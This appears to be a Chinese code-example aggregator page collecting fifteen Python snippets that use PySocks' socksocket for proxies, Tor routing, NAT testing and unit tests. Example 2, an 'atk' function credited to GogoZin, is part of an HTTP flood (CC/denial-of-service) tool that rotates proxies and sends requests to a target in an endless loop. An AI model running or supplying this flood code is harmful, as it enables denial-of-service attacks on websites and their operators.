本文整理汇总了Python中socks.socksocket方法的典型用法代码示例。如果您正苦于以下问题:Python socks.socksocket方法的具体用法?Python socks.socksocket怎么用?Python socks.socksocket使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类socks
的用法示例。
在下文中一共展示了socks.socksocket方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: __init__
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def __init__(self, server, config = None):
threading.Thread.__init__(self)
self.daemon = True
self.config = config if config is not None else SimpleConfig()
self.lock = threading.Lock()
self.is_connected = False
self.debug = False # dump network messages. can be changed at runtime using the console
self.message_id = 0
self.unanswered_requests = {}
# are we waiting for a pong?
self.is_ping = False
# parse server
self.server = server
self.host, self.port, self.protocol = self.server.split(':')
self.port = int(self.port)
self.use_ssl = (self.protocol == 's')
self.proxy = self.parse_proxy_options(self.config.get('proxy'))
if self.proxy:
self.proxy_mode = proxy_modes.index(self.proxy["mode"]) + 1
socks.setdefaultproxy(self.proxy_mode, self.proxy["host"], int(self.proxy["port"]))
socket.socket = socks.socksocket
# prevent dns leaks, see http://stackoverflow.com/questions/13184205/dns-over-proxy
def getaddrinfo(*args):
return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]
socket.getaddrinfo = getaddrinfo
示例2: atk
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def atk(): #Socks Sent Requests
ua = random.choice(useragent)
request = "GET " + uu + "?=" + str(random.randint(1,100)) + " HTTP/1.1\r\nHost: " + url + "\r\nUser-Agent: "+ua+"\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n" #Code By GogoZin
proxy = random.choice(lsts).strip().split(":")
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]))
time.sleep(5)
while True:
try:
s = socks.socksocket()
s.connect((str(url), int(port)))
if str(port) =='443':
s = ssl.wrap_socket(s)
s.send(str.encode(request))
print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
try:
for y in range(per):
s.send(str.encode(request))
print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
except:
s.close()
except:
s.close()
示例3: __init__
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def __init__(self, sock=None, map=None, conn=True, verbose=False):
self.out_buffer=b""
self.verbose=verbose
self.allsent=False
if conn is True:
#get the original dst address and port
odestdata = sock.getsockopt(socket.SOL_IP, SO_ORIGINAL_DST, 16)
_, port, a1, a2, a3, a4 = struct.unpack("!HHBBBBxxxxxxxx", odestdata)
address = "%d.%d.%d.%d" % (a1, a2, a3, a4)
if self.verbose:
display('[+] Forwarding incoming connection from %s to %s through the proxy' % (repr(sock.getpeername()), (address, port)))
#connect to the original dst :
self.conn_sock = socks.socksocket()
#self.conn_sock.settimeout(15)
self.conn_sock.connect((address, port))
self.sock_class=Socks5Conn(sock=self.conn_sock, conn=self) #add a dispatcher to handle the other side
else:
self.sock_class=conn
self.conn_sock=None
asyncore.dispatcher.__init__(self, sock, map)
示例4: __nat_type_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def __nat_type_test(self):
s = socks.socksocket(socket.AF_INET, socket.SOCK_DGRAM)
s.set_proxy(socks.PROXY_TYPE_SOCKS5, LOCAL_ADDRESS, LOCAL_PORT)
sport = config["ntt"]["internal_port"]
try:
logger.info("Performing UDP NAT Type Test")
t, eip, eport, sip = pynat.get_ip_info(
source_ip=config["ntt"]["internal_ip"],
source_port=sport,
include_internal=True,
sock=s
)
return t, eip, eport, sip, sport
except:
logger.exception("\n")
return None, None, None, None, None
finally:
s.close()
示例5: ping_check
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def ping_check(self, address, port, count=0):
"""Ping check for check port open."""
with socks.socksocket() as sock:
if self.tor_network:
sock.setproxy(
socks.PROXY_TYPE_SOCKS5,
self.ini.read('TOR', 'HOST'),
int(self.ini.read('TOR', 'PORT')))
try:
sock.connect((address, port))
return True
except Exception as e:
if count > 10 or '0x05' in e.msg:
return False
return self.ping_check(address, port, count+1)
示例6: connectTor
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def connectTor():
try:
port = 9050
# Set socks proxy and wrap the urllib module
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', port)
socket.socket = socks.socksocket
# Perform DNS resolution through the socket
def getaddrinfo(*args):
return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]
socket.getaddrinfo = getaddrinfo
except:
e = sys.exc_info()[0]
print("Error: %s" % e + "\n## Can't establish connection with TOR")
示例7: connect
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def connect(self):
self.sock = socks.socksocket()
self.sock.setproxy(*self.proxyargs)
if isinstance(self.timeout, float):
self.sock.settimeout(self.timeout)
self.sock.connect((self.host, self.port))
示例8: connect
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def connect(self) -> socket:
try:
sockt = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
sockt.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if self.proxy is not None:
sockt.set_proxy(socks.SOCKS5, self.proxy["host"], self.proxy["port"])
sockt.connect((self.ip, self.port))
return sockt
except Exception as e:
print(e)
示例9: socket_HTTP_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def socket_HTTP_test():
s = socks.socksocket()
s.set_proxy(socks.HTTP, "127.0.0.1", 8081)
s.connect(("ifconfig.me", 80))
s.sendall(raw_HTTP_request())
status = s.recv(2048).splitlines()[0]
assert status.startswith(b"HTTP/1.1 200")
示例10: socket_SOCKS4_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def socket_SOCKS4_test():
s = socks.socksocket()
s.set_proxy(socks.SOCKS4, "127.0.0.1", 1080)
s.connect(("ifconfig.me", 80))
s.sendall(raw_HTTP_request())
status = s.recv(2048).splitlines()[0]
assert status.startswith(b"HTTP/1.1 200")
示例11: socket_SOCKS5_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def socket_SOCKS5_test():
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, "127.0.0.1", 1081)
s.connect(("ifconfig.me", 80))
s.sendall(raw_HTTP_request())
status = s.recv(2048).splitlines()[0]
assert status.startswith(b"HTTP/1.1 200")
示例12: SOCKS5_connect_timeout_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def SOCKS5_connect_timeout_test():
s = socks.socksocket()
s.settimeout(0.0001)
s.set_proxy(socks.SOCKS5, "8.8.8.8", 80)
try:
s.connect(("ifconfig.me", 80))
except socks.ProxyConnectionError as e:
assert str(e.socket_err) == "timed out"
示例13: SOCKS5_timeout_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def SOCKS5_timeout_test():
s = socks.socksocket()
s.settimeout(0.0001)
s.set_proxy(socks.SOCKS5, "127.0.0.1", 1081)
try:
s.connect(("ifconfig.me", 4444))
except socks.GeneralProxyError as e:
assert str(e.socket_err) == "timed out"
示例14: socket_HTTP_IP_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def socket_HTTP_IP_test():
s = socks.socksocket()
s.set_proxy(socks.HTTP, "127.0.0.1", 8081)
s.connect(("133.242.129.236", 80))
s.sendall(raw_HTTP_request())
status = s.recv(2048).splitlines()[0]
assert status.startswith(b"HTTP/1.1 200")
示例15: socket_SOCKS4_IP_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def socket_SOCKS4_IP_test():
s = socks.socksocket()
s.set_proxy(socks.SOCKS4, "127.0.0.1", 1080)
s.connect(("133.242.129.236", 80))
s.sendall(raw_HTTP_request())
status = s.recv(2048).splitlines()[0]
assert status.startswith(b"HTTP/1.1 200")